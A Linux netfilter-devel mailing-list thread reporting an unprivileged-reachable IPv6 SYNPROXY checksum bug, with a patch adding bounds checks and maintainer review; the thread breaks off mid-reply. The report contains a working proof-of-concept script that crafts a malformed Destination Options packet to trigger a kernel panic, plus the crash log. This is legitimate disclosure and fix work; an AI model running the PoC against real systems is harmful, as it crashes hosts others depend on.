* [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset
@ 2026-09-18 9:26 Ren Wei
2026-09-18 9:26 ` [PATCH nf 1/1] " Ren Wei
2026-09-18 10:38 ` [PATCH nf 0/1] " Florian Westphal
0 siblings, 2 replies; 10+ messages in thread
From: Ren Wei @ 2026-09-18 9:26 UTC (permalink / raw)
To: netfilter-devel
Cc: pablo, fw, phil, davem, edumazet, kuba, pabeni, horms, kaber,
vega, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
Hi Linux kernel maintainers,
We found and validated an issue in net/netfilter/utils.c. The bug can be
reached by a non-root user when unprivileged user namespaces are enabled,
using user and network namespaces. We tested the fix in QEMU, and it does
not affect valid checksum handling or other tested functionality.
We will provide detailed information about the bug in this email,
along with a PoC to trigger it.
---- details below ----
Bug details:
nf_ip6_checksum() passes dataoff to skb_checksum() as the length argument
without checking that it does not exceed skb->len. A malformed IPv6
extension header can make ipv6_find_hdr() return an offset past the end of
the packet, causing the SYNPROXY target to hit the BUG_ON(len) in
skb_checksum().
The affected path is the IPv6 SYNPROXY target. nft_target_eval_xt() passes
the transport-header offset obtained from ipv6_find_hdr() to
synproxy_tg6(), which passes it to nf_ip6_checksum(). The PoC sends an IPv6
packet with an
8-byte Destination Options header whose hdrlen field is 255. The extension
header is therefore interpreted as 2048 bytes even though the skb contains
only the 8-byte header, producing an offset beyond skb->len.
The fix validates dataoff before checksum traversal and validates the
requested dataoff/len range in nf_checksum_partial(). It returns
CSUM_MANGLED_0 for invalid input. SYNPROXY treats the non-zero return as
a checksum failure and drops the packet before checksum traversal.
Reproducer:
chmod +x ./poc.sh
PATH=/usr/sbin:/usr/bin:/sbin:/bin ./poc.sh userns
The userns mode executes the setup through unshare -Urn. On systems that
allow unprivileged user namespaces, an ordinary user can create the veth
pair, install the IPv6 SYNPROXY rule, and inject the malformed packet from
the new network namespace. The crash log below is copied verbatim from the
original QEMU serial output. The patched PoC completed with exit status 0.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
setup_rule() {
ip link del veth0 2>/dev/null || true
ip link add veth0 type veth peer name veth1
ip link set lo up
ip link set dev veth0 address 02:00:00:00:00:01
ip link set dev veth1 address 02:00:00:00:00:02
ip link set veth0 up
ip link set veth1 up
ip -6 addr add 2001:db8::1/64 dev veth0 nodad
ip6tables -F INPUT
ip6tables -A INPUT -i veth0 -p tcp -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460
}
send_packet() {
python3 - <<'PY'
import socket
import struct
def mac(name):
if name == "veth0":
return bytes.fromhex("020000000001")
if name == "veth1":
return bytes.fromhex("020000000002")
raise ValueError(name)
src_mac = mac("veth1")
dst_mac = mac("veth0")
eth = dst_mac + src_mac + struct.pack("!H", 0x86DD)
ver_tc_fl = 6 << 28
payload_len = 8
nexthdr = 60
hop_limit = 64
src = socket.inet_pton(socket.AF_INET6, "2001:db8::2")
dst = socket.inet_pton(socket.AF_INET6, "2001:db8::1")
ip6 = struct.pack("!IHBB16s16s", ver_tc_fl, payload_len, nexthdr,
hop_limit, src, dst)
# Destination Options header:
# - next header = TCP
# - hdrlen = 255 => ipv6_find_hdr() advances by 2048 bytes
# even though only 8 option bytes are present in the skb.
dstopt = struct.pack("!BB6s", 6, 255, b"\x00" * 6)
pkt = eth + ip6 + dstopt
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
s.bind(("veth1", 0))
s.send(pkt)
print(f"sent {len(pkt)} bytes")
PY
}
run_root() {
setup_rule
send_packet
}
case "${1:-root}" in
root)
run_root
;;
userns)
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
unshare -Urn -- "$0" root
;;
*)
echo "usage: $0 [root|userns]" >&2
exit 1
;;
esac
------END poc.sh--------
----BEGIN crash log----
[ 269.487359][ C0] kernel BUG at net/core/skbuff.c:3570!
[ 269.489186][ C0] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[ 269.489744][ C0] CPU: 0 UID: 0 PID: 9833 Comm: python3 Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 269.490363][ C0] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 269.491100][ C0] RIP: 0010:skb_checksum+0x648/0x860
[ 269.491616][ C0] Code: 50 5b 5d 41 5c 41 5d 41 5e 41 5f e9 ed f1 74 f8 90 0f 0b 90 31 db e9 ba fc ff ff 90 0f 0b 90 31 c0 eb b3 8b 44 24 04 eb a5 90 <0f> 0b 48 c7 c7 60 4f ea 8c e8 3a ae 82 f9 e9 7d fd ff ff 48 c7 c7
[ 269.492939][ C0] RSP: 0018:ffa0000000007500 EFLAGS: 00010202
[ 269.493370][ C0] RAX: 000000000000bcfe RBX: 0000000000000030 RCX: dffffc0000000000
[ 269.493913][ C0] RDX: 00000000000007f8 RSI: ff1100007e7c4640 RDI: ff11000114a0e748
[ 269.494435][ C0] RBP: 0000000000000000 R08: ff1100007e7c4580 R09: 0000000000000030
[ 269.494974][ C0] R10: ff1100007e7c4600 R11: 0000000000000007 R12: ff11000114a0e740
[ 269.495504][ C0] R13: ff1100007e7c460c R14: ff1100007e7c45f0 R15: 0000000000000030
[ 269.496058][ C0] FS: 00007f1cd41b0780(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000
[ 269.496665][ C0] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 269.497109][ C0] CR2: 00000000004a84eb CR3: 000000010ce35000 CR4: 0000000000751ef0
[ 269.497663][ C0] PKRU: 55555554
[ 269.497909][ C0] Call Trace:
[ 269.498132][ C0] <IRQ>
[ 269.498337][ C0] ? find_held_lock+0x2b/0x80
[ 269.498744][ C0] nf_ip6_checksum+0x210/0x310
[ 269.499103][ C0] synproxy_tg6+0x1d7/0x640
[ 269.499440][ C0] ? __pfx_synproxy_tg6+0x10/0x10
[ 269.499788][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.500208][ C0] ? __pfx_nft_meta_pktinfo_may_update+0x10/0x10
[ 269.500661][ C0] ? __pfx_ref_tracker_alloc+0x10/0x10
[ 269.501074][ C0] ? dst_init+0x8e/0x540
[ 269.501375][ C0] ? dst_alloc+0x99/0x150
[ 269.501684][ C0] nft_target_eval_xt+0x1b7/0x2b0
[ 269.502034][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.502414][ C0] ? __pfx_nft_target_eval_xt+0x10/0x10
[ 269.502794][ C0] ? nft_counter_eval+0xe5/0x140
[ 269.503116][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.503499][ C0] ? rcu_is_watching+0x12/0xc0
[ 269.503864][ C0] ? __local_bh_enable_ip+0xa7/0x120
[ 269.504251][ C0] nft_do_chain+0x26e/0x1820
[ 269.504588][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.504969][ C0] ? ip6_pol_route+0x23a/0xe30
[ 269.505300][ C0] ? __pfx_nft_do_chain+0x10/0x10
[ 269.505640][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.506024][ C0] ? nf_ct_get_tuple+0x538/0x5f0
[ 269.506370][ C0] ? srso_alias_safe_ret+0x2/0x7
[ 269.506687][ C0] ? nf_ct_frag6_gather+0x330/0x27b0
[ 269.507067][ C0] nft_do_chain_ipv6+0x1a4/0x210
[ 269.507411][ C0] ? __pfx_nft_do_chain_ipv6+0x10/0x10
[ 269.507779][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.508165][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.508546][ C0] ? lock_acquire+0x1ab/0x360
[ 269.508861][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.509243][ C0] nf_hook_slow+0xac/0x1f0
[ 269.509555][ C0] nf_hook.constprop.0+0x1f7/0x510
[ 269.509928][ C0] ? __pfx_ip6_input_finish+0x10/0x10
[ 269.510292][ C0] ? __pfx_nf_hook.constprop.0+0x10/0x10
[ 269.510681][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.511056][ C0] ? __pfx_ip6_input_finish+0x10/0x10
[ 269.511408][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.511775][ C0] ? __pfx_ipv6_rcv+0x10/0x10
[ 269.512095][ C0] ? process_backlog+0x3e9/0x1510
[ 269.512449][ C0] ip6_input+0xba/0x1f0
[ 269.512729][ C0] __netif_receive_skb_one_core+0x119/0x1b0
[ 269.513130][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.513494][ C0] ? __pfx___netif_receive_skb_one_core+0x10/0x10
[ 269.513932][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.514319][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.514709][ C0] process_backlog+0x429/0x1510
[ 269.515062][ C0] __napi_poll.constprop.0+0x9f/0x440
[ 269.515438][ C0] net_rx_action+0x8f5/0xf40
[ 269.515760][ C0] ? __pfx_net_rx_action+0x10/0x10
[ 269.516115][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.516504][ C0] ? sched_clock_cpu+0x6c/0x530
[ 269.516854][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.517238][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.517614][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.517995][ C0] ? rcu_is_watching+0x12/0xc0
[ 269.518324][ C0] handle_softirqs+0x1ef/0xa00
[ 269.518658][ C0] ? __pfx_handle_softirqs+0x10/0x10
[ 269.519008][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.519381][ C0] ? irqtime_account_irq+0x17b/0x2d0
[ 269.519749][ C0] ? __dev_queue_xmit+0xb69/0x3ac0
[ 269.520096][ C0] do_softirq+0xb2/0xf0
[ 269.520373][ C0] </IRQ>
[ 269.520573][ C0] <TASK>
[ 269.520770][ C0] __local_bh_enable_ip+0x101/0x120
[ 269.521103][ C0] ? __dev_queue_xmit+0xb69/0x3ac0
[ 269.521431][ C0] __dev_queue_xmit+0xb7e/0x3ac0
[ 269.521766][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.522127][ C0] ? find_held_lock+0x2b/0x80
[ 269.522442][ C0] ? __pfx___dev_queue_xmit+0x10/0x10
[ 269.522810][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.523185][ C0] ? _copy_from_iter+0x120/0x14e0
[ 269.523563][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.523948][ C0] ? lock_acquire+0x1ab/0x360
[ 269.524257][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.524638][ C0] ? find_held_lock+0x2b/0x80
[ 269.524949][ C0] ? __pfx__copy_from_iter+0x10/0x10
[ 269.525308][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.525696][ C0] ? packet_parse_headers+0x337/0x6f0
[ 269.526084][ C0] ? __pfx_packet_parse_headers+0x10/0x10
[ 269.526447][ C0] ? skb_copy_datagram_from_iter+0x10d/0x730
[ 269.526867][ C0] packet_sendmsg+0x208a/0x48a0
[ 269.527219][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.527618][ C0] ? __pfx___might_resched+0x10/0x10
[ 269.527994][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.528394][ C0] ? __lock_acquire+0x45c/0x25f0
[ 269.528728][ C0] ? __pfx_packet_sendmsg+0x10/0x10
[ 269.529071][ C0] ? __pfx_aa_sk_perm+0x10/0x10
[ 269.529435][ C0] __sys_sendto+0x34f/0x3a0
[ 269.529760][ C0] ? __pfx___sys_sendto+0x10/0x10
[ 269.530092][ C0] ? __local_bh_enable_ip+0xa7/0x120
[ 269.530442][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.530820][ C0] ? lockdep_hardirqs_on+0x7b/0x110
[ 269.531235][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.531610][ C0] ? __sys_bind+0x16b/0x210
[ 269.531935][ C0] __x64_sys_sendto+0xe0/0x1c0
[ 269.532257][ C0] ? do_syscall_64+0x90/0xf80
[ 269.532588][ C0] ? srso_alias_return_thunk+0x5/0xfbef5
[ 269.533003][ C0] ? lockdep_hardirqs_on+0x7b/0x110
[ 269.533350][ C0] do_syscall_64+0x116/0xf80
[ 269.533667][ C0] ? irqentry_exit+0x117/0x830
[ 269.533986][ C0] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 269.534378][ C0] RIP: 0033:0x7f1cd4244687
[ 269.534711][ C0] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 269.535996][ C0] RSP: 002b:00007ffca2361d90 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[ 269.536550][ C0] RAX: ffffffffffffffda RBX: 00007f1cd41b0780 RCX: 00007f1cd4244687
[ 269.537080][ C0] RDX: 000000000000003e RSI: 00007f1cd3c65c10 RDI: 0000000000000003
[ 269.537608][ C0] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 269.538149][ C0] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000
[ 269.538645][ C0] R13: 0000000000000000 R14: 00000000006ff020 R15: 0000000000a83590
[ 269.539212][ C0] </TASK>
[ 269.539416][ C0] Modules linked in:
[ 269.539794][ C0] ---[ end trace 0000000000000000 ]---
[ 269.540186][ C0] RIP: 0010:skb_checksum+0x648/0x860
[ 269.540553][ C0] Code: 50 5b 5d 41 5c 41 5d 41 5e 41 5f e9 ed f1 74 f8 90 0f 0b 90 31 db e9 ba fc ff ff 90 0f 0b 90 31 c0 eb b3 8b 44 24 04 eb a5 90 <0f> 0b 48 c7 c7 60 4f ea 8c e8 3a ae 82 f9 e9 7d fd ff ff 48 c7 c7
[ 269.541842][ C0] RSP: 0018:ffa0000000007500 EFLAGS: 00010202
[ 269.542255][ C0] RAX: 000000000000bcfe RBX: 0000000000000030 RCX: dffffc0000000000
[ 269.542780][ C0] RDX: 00000000000007f8 RSI: ff1100007e7c4640 RDI: ff11000114a0e748
[ 269.543272][ C0] RBP: 0000000000000000 R08: ff1100007e7c4580 R09: 0000000000000030
[ 269.543778][ C0] R10: ff1100007e7c4600 R11: 0000000000000007 R12: ff11000114a0e740
[ 269.544309][ C0] R13: ff1100007e7c460c R14: ff1100007e7c45f0 R15: 0000000000000030
[ 269.544858][ C0] FS: 00007f1cd41b0780(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000
[ 269.545452][ C0] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 269.545900][ C0] CR2: 00000000004a84eb CR3: 000000010ce35000 CR4: 0000000000751ef0
[ 269.546427][ C0] PKRU: 55555554
[ 269.546674][ C0] Kernel panic - not syncing: Fatal exception in interrupt
[ 269.547305][ C0] Kernel Offset: disabled
[ 269.547608][ C0] Rebooting in 86400 seconds..
-----END crash log-----
The crash log above is from the original QEMU run on 7.1.0-rc1. The clean
kernel used panic_on_warn=0, so this was not a warning promoted to a panic;
it was the BUG_ON in skb_checksum(). In the later clean/patched comparison,
both kernels used the same configuration on 7.3.0-rc2. The patched PoC
printed:
sent 62 bytes
POC_RC=0
The patched guest remained reachable as UID 1001. Its serial log contained
no BUG, Oops, panic, KASAN, or trigger-related Call Trace entries.
The patch changes one file:
net/netfilter/utils.c | 6 ++++++
1 file changed, 6 insertions(+)
Zixuan Chai (1):
netfilter: nf_ip6_checksum: validate checksum offset
net/netfilter/utils.c | 6 ++++++
1 file changed, 6 insertions(+)
--
2.34.1
^ permalink raw reply [flat|nested] 10+ messages in thread
* [PATCH nf 1/1] netfilter: nf_ip6_checksum: validate checksum offset
2026-09-18 9:26 [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset Ren Wei
@ 2026-09-18 9:26 ` Ren Wei
2026-09-18 10:38 ` [PATCH nf 0/1] " Florian Westphal
1 sibling, 0 replies; 10+ messages in thread
From: Ren Wei @ 2026-09-18 9:26 UTC (permalink / raw)
To: netfilter-devel
Cc: pablo, fw, phil, davem, edumazet, kuba, pabeni, horms, kaber,
vega, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
nf_ip6_checksum() passes dataoff to skb_checksum() as the length
argument without checking that it does not exceed skb->len. A malformed
IPv6 extension header can make ipv6_find_hdr() return an offset past the
end of the packet, causing the SYNPROXY target to hit the BUG_ON(len) in
skb_checksum().
The exported nf_checksum_partial() helper can also receive a range that
extends beyond skb->len. Validate dataoff before checksum traversal and
validate len in the partial path before using dataoff + len for checksum
completion. Return CSUM_MANGLED_0 for invalid input so callers reject
malformed packets before checksum traversal.
Fixes: 422c346fad80 ("[NETFILTER]: Add address family specific checksum helpers")
Fixes: d63a650736f5 ("[NETFILTER]: Add partial checksum validation helper")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
net/netfilter/utils.c | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/net/netfilter/utils.c b/net/netfilter/utils.c
index 29c4dcc362c7..18f12552aa5d 100644
--- a/net/netfilter/utils.c
+++ b/net/netfilter/utils.c
@@ -67,6 +67,9 @@ __sum16 nf_ip6_checksum(struct sk_buff *skb, unsigned int hook,
const struct ipv6hdr *ip6h = ipv6_hdr(skb);
__sum16 csum = 0;
+ if (unlikely(dataoff > skb->len))
+ return CSUM_MANGLED_0;
+
switch (skb->ip_summed) {
case CHECKSUM_COMPLETE:
if (hook != NF_INET_PRE_ROUTING && hook != NF_INET_LOCAL_IN)
@@ -145,6 +148,9 @@ __sum16 nf_checksum_partial(struct sk_buff *skb, unsigned int hook,
{
__sum16 csum = 0;
+ if (unlikely(dataoff > skb->len || len > skb->len - dataoff))
+ return CSUM_MANGLED_0;
+
switch (family) {
case AF_INET:
csum = nf_ip_checksum_partial(skb, hook, dataoff, len,
--
2.34.1
^ permalink raw reply related [flat|nested] 10+ messages in thread
* Re: [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset
2026-09-18 9:26 [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset Ren Wei
2026-09-18 9:26 ` [PATCH nf 1/1] " Ren Wei
@ 2026-09-18 10:38 ` Florian Westphal
2026-09-18 11:33 ` Pablo Neira Ayuso
2026-09-18 14:15 ` Florian Westphal
1 sibling, 2 replies; 10+ messages in thread
From: Florian Westphal @ 2026-09-18 10:38 UTC (permalink / raw)
To: Ren Wei
Cc: netfilter-devel, pablo, phil, davem, edumazet, kuba, pabeni,
horms, kaber, vega, petalzu987
Ren Wei <weir@nebusec.ai> wrote:
> From: Zixuan Chai <petalzu987@gmail.com>
>
> Hi Linux kernel maintainers,
>
> We found and validated an issue in net/netfilter/utils.c. The bug can be
> reached by a non-root user when unprivileged user namespaces are enabled,
> using user and network namespaces. We tested the fix in QEMU, and it does
> not affect valid checksum handling or other tested functionality.
>
> We will provide detailed information about the bug in this email,
> along with a PoC to trigger it.
patch is fine, but could you make another patch that either fixes
ipv6_find_hdr() or ip6_packet_match() / nft_set_pktinfo_ipv6() as well?
If I read this right then ipv6_find_hdr() returns nexthdr 'TCP',
but its clear packet is malformed and that header isn't there.
Assuming nexthdr would not pass ipv6_ext_hdr() / nexthdr == NONE
test. then this would hit:
hp = skb_header_pointer(skb, start, sizeof(_hdr), &_hdr);
if (!hp)
return -EBADMSG;
(as start is past skb->len).
... so I think ipv6_find_hdr() should also validate offset
is not past skb->len before telling the caller that 'nexthdr'
is at offset <bignum>.
Or do you see a case where this would break anything?
Thanks!
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset
2026-09-18 10:38 ` [PATCH nf 0/1] " Florian Westphal
@ 2026-09-18 11:33 ` Pablo Neira Ayuso
2026-09-18 14:15 ` Florian Westphal
1 sibling, 0 replies; 10+ messages in thread
From: Pablo Neira Ayuso @ 2026-09-18 11:33 UTC (permalink / raw)
To: Florian Westphal
Cc: Ren Wei, netfilter-devel, phil, davem, edumazet, kuba, pabeni,
horms, kaber, vega, petalzu987
On Fri, Sep 18, 2026 at 12:38:28PM +0200, Florian Westphal wrote:
> Ren Wei <weir@nebusec.ai> wrote:
> > From: Zixuan Chai <petalzu987@gmail.com>
> >
> > Hi Linux kernel maintainers,
> >
> > We found and validated an issue in net/netfilter/utils.c. The bug can be
> > reached by a non-root user when unprivileged user namespaces are enabled,
> > using user and network namespaces. We tested the fix in QEMU, and it does
> > not affect valid checksum handling or other tested functionality.
> >
> > We will provide detailed information about the bug in this email,
> > along with a PoC to trigger it.
>
> patch is fine, but could you make another patch that either fixes
> ipv6_find_hdr() or ip6_packet_match() / nft_set_pktinfo_ipv6() as well?
>
> If I read this right then ipv6_find_hdr() returns nexthdr 'TCP',
> but its clear packet is malformed and that header isn't there.
>
> Assuming nexthdr would not pass ipv6_ext_hdr() / nexthdr == NONE
> test. then this would hit:
>
> hp = skb_header_pointer(skb, start, sizeof(_hdr), &_hdr);
> if (!hp)
> return -EBADMSG;
>
> (as start is past skb->len).
>
> ... so I think ipv6_find_hdr() should also validate offset
> is not past skb->len before telling the caller that 'nexthdr'
> is at offset <bignum>.
+1 for fixing this from ipv6_find_hdr() if it is feasible.
> Or do you see a case where this would break anything?
>
> Thanks!
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset
2026-09-18 10:38 ` [PATCH nf 0/1] " Florian Westphal
2026-09-18 11:33 ` Pablo Neira Ayuso
@ 2026-09-18 14:15 ` Florian Westphal
2026-09-19 14:35 ` Zixuan Chai
2026-10-08 16:01 ` Zixuan Chai
1 sibling, 2 replies; 10+ messages in thread
From: Florian Westphal @ 2026-09-18 14:15 UTC (permalink / raw)
To: Ren Wei
Cc: netfilter-devel, pablo, phil, davem, edumazet, kuba, pabeni,
horms, kaber, vega, petalzu987
Florian Westphal <fw@strlen.de> wrote:
> > We will provide detailed information about the bug in this email,
> > along with a PoC to trigger it.
>
> patch is fine, but could you make another patch that either fixes
> ipv6_find_hdr() or ip6_packet_match() / nft_set_pktinfo_ipv6() as well?
To clarify, I agree with this patch, I don't mean that the other
patch should replace this one. I see them as separate issues, so:
Acked-by: Florian Westphal <fw@strlen.de>
> If I read this right then ipv6_find_hdr() returns nexthdr 'TCP',
> but its clear packet is malformed and that header isn't there.
ipv6_skip_exthdr() may have the same issue.
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset
2026-09-18 14:15 ` Florian Westphal
@ 2026-09-19 14:35 ` Zixuan Chai
2026-10-08 16:01 ` Zixuan Chai
1 sibling, 0 replies; 10+ messages in thread
From: Zixuan Chai @ 2026-09-19 14:35 UTC (permalink / raw)
To: Florian Westphal
Cc: Ren Wei, netfilter-devel, pablo, phil, davem, edumazet, kuba,
pabeni, horms, kaber, vega
Hi Florian, Pablo,
Thanks. Agreed, these are separate issues.
I'm working on a follow-up patch for ipv6_skip_exthdr().
Thanks,
Zixuan Chai
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset
2026-09-18 14:15 ` Florian Westphal
2026-09-19 14:35 ` Zixuan Chai
@ 2026-10-08 16:01 ` Zixuan Chai
2026-10-08 17:24 ` Florian Westphal
1 sibling, 1 reply; 10+ messages in thread
From: Zixuan Chai @ 2026-10-08 16:01 UTC (permalink / raw)
To: Florian Westphal
Cc: Ren Wei, netfilter-devel, pablo, phil, davem, edumazet, kuba,
pabeni, horms, kaber, vega
On Fri, 18 Sept 2026 at 22:15, Florian Westphal <fw@strlen.de> wrote:
>
> Florian Westphal <fw@strlen.de> wrote:
> > > We will provide detailed information about the bug in this email,
> > > along with a PoC to trigger it.
> >
> > patch is fine, but could you make another patch that either fixes
> > ipv6_find_hdr() or ip6_packet_match() / nft_set_pktinfo_ipv6() as well?
>
> To clarify, I agree with this patch, I don't mean that the other
> patch should replace this one. I see them as separate issues, so:
When you have a moment, could you please let me know if any further
changes would be helpful for this patch? I would be happy to send a
revised version if needed.
>
> Acked-by: Florian Westphal <fw@strlen.de>
>
> > If I read this right then ipv6_find_hdr() returns nexthdr 'TCP',
> > but its clear packet is malformed and that header isn't there.
>
> ipv6_skip_exthdr() may have the same issue.
I have also been looking into the ipv6_skip_exthdr() issue you
mentioned. I think it needs further evaluation, but so far I have
not been able to construct a PoC similar to the one for the
checksum issue.
One attempt is this series:
https://lore.kernel.org/all/cover.1790082243.git.petalzu987@gmail.com/
I am not sure whether this issue warrants a fix, so I would
appreciate your thoughts on whether it is worth pursuing.
Thanks,
Zixuan
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset
2026-10-08 16:01 ` Zixuan Chai
@ 2026-10-08 17:24 ` Florian Westphal
2026-10-08 23:29 ` Pablo Neira Ayuso
0 siblings, 1 reply; 10+ messages in thread
From: Florian Westphal @ 2026-10-08 17:24 UTC (permalink / raw)
To: Zixuan Chai
Cc: Ren Wei, netfilter-devel, pablo, phil, davem, edumazet, kuba,
pabeni, horms, kaber, vega
Zixuan Chai <petalzu987@gmail.com> wrote:
> On Fri, 18 Sept 2026 at 22:15, Florian Westphal <fw@strlen.de> wrote:
> >
> > Florian Westphal <fw@strlen.de> wrote:
> > > > We will provide detailed information about the bug in this email,
> > > > along with a PoC to trigger it.
> > >
> > > patch is fine, but could you make another patch that either fixes
> > > ipv6_find_hdr() or ip6_packet_match() / nft_set_pktinfo_ipv6() as well?
FTR, ipv6_find_hdr() gained this check in
ee319bd3a0e9 ("ipv6: do not let ipv6_find_hdr() return an offset past the packet end")
> > To clarify, I agree with this patch, I don't mean that the other
> > patch should replace this one. I see them as separate issues, so:
>
> When you have a moment, could you please let me know if any further
> changes would be helpful for this patch? I would be happy to send a
> revised version if needed.
netfilter patchwork is clogged up/backlogged, unfortunately.
> > ipv6_skip_exthdr() may have the same issue.
>
> I have also been looking into the ipv6_skip_exthdr() issue you
> mentioned. I think it needs further evaluation, but so far I have
> not been able to construct a PoC similar to the one for the
> checksum issue.
> One attempt is this series:
> https://lore.kernel.org/all/cover.1790082243.git.petalzu987@gmail.com/
>
> I am not sure whether this issue warrants a fix, so I would
> appreciate your thoughts on whether it is worth pursuing.
Wrt 2/2 Eric is right, I never reported an issue with i40e.
The ipv6_skip_exthdr() change in patch 1/2 looks good to me.
The other changes in 1/2 should probably be in a different patch;
I feel its doing too many different things at the same time.
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset
2026-10-08 17:24 ` Florian Westphal
@ 2026-10-08 23:29 ` Pablo Neira Ayuso
2026-10-09 0:05 ` Florian Westphal
0 siblings, 1 reply; 10+ messages in thread
From: Pablo Neira Ayuso @ 2026-10-08 23:29 UTC (permalink / raw)
To: Florian Westphal
Cc: Zixuan Chai, Ren Wei, netfilter-devel, phil, davem, edumazet,
kuba, pabeni, horms, kaber, vega
On Thu, Oct 08, 2026 at 07:24:59PM +0200, Florian Westphal wrote:
> Zixuan Chai <petalzu987@gmail.com> wrote:
> > On Fri, 18 Sept 2026 at 22:15, Florian Westphal <fw@strlen.de> wrote:
> > >
> > > Florian Westphal <fw@strlen.de> wrote:
> > > > > We will provide detailed information about the bug in this email,
> > > > > along with a PoC to trigger it.
> > > >
> > > > patch is fine, but could you make another patch that either fixes
> > > > ipv6_find_hdr() or ip6_packet_match() / nft_set_pktinfo_ipv6() as well?
>
> FTR, ipv6_find_hdr() gained this check in
> ee319bd3a0e9 ("ipv6: do not let ipv6_find_hdr() return an offset past the packet end")
Then this is fixed upstream in the core, now it validates that the
offset provides enough room for the announced header.
This patch is now hardening that can follow up to nf-next using
DEBUG_NET_WARN_ON_ONCE?
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset
2026-10-08 23:29 ` Pablo Neira Ayuso
@ 2026-10-09 0:05 ` Florian Westphal
0 siblings, 0 replies; 10+ messages in thread
From: Florian Westphal @ 2026-10-09 0:05 UTC (permalink / raw)
To: Pablo Neira Ayuso
Cc: Zixuan Chai, Ren Wei, netfilter-devel, phil, davem, edumazet,
kuba, pabeni, horms, kaber, vega
Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> On Thu, Oct 08, 2026 at 07:24:59PM +0200, Florian Westphal wrote:
> > Zixuan Chai <petalzu987@gmail.com> wrote:
> > > On Fri, 18 Sept 2026 at 22:15, Florian Westphal <fw@strlen.de> wrote:
> > > >
> > > > Florian Westphal <fw@strlen.de> wrote:
> > > > > > We will provide detailed information about the bug in this email,
> > > > > > along with a PoC to trigger it.
> > > > >
> > > > > patch is fine, but could you make another patch that either fixes
> > > > > ipv6_find_hdr() or ip6_packet_match() / nft_set_pktinfo_ipv6() as well?
> >
> > FTR, ipv6_find_hdr() gained this check in
> > ee319bd3a0e9 ("ipv6: do not let ipv6_find_hdr() return an offset past the packet end")
>
> Then this is fixed upstream in the core, now it validates that the
> offset provides enough room for the announced header.
>
> This patch is now hardening that can follow up to nf-next using
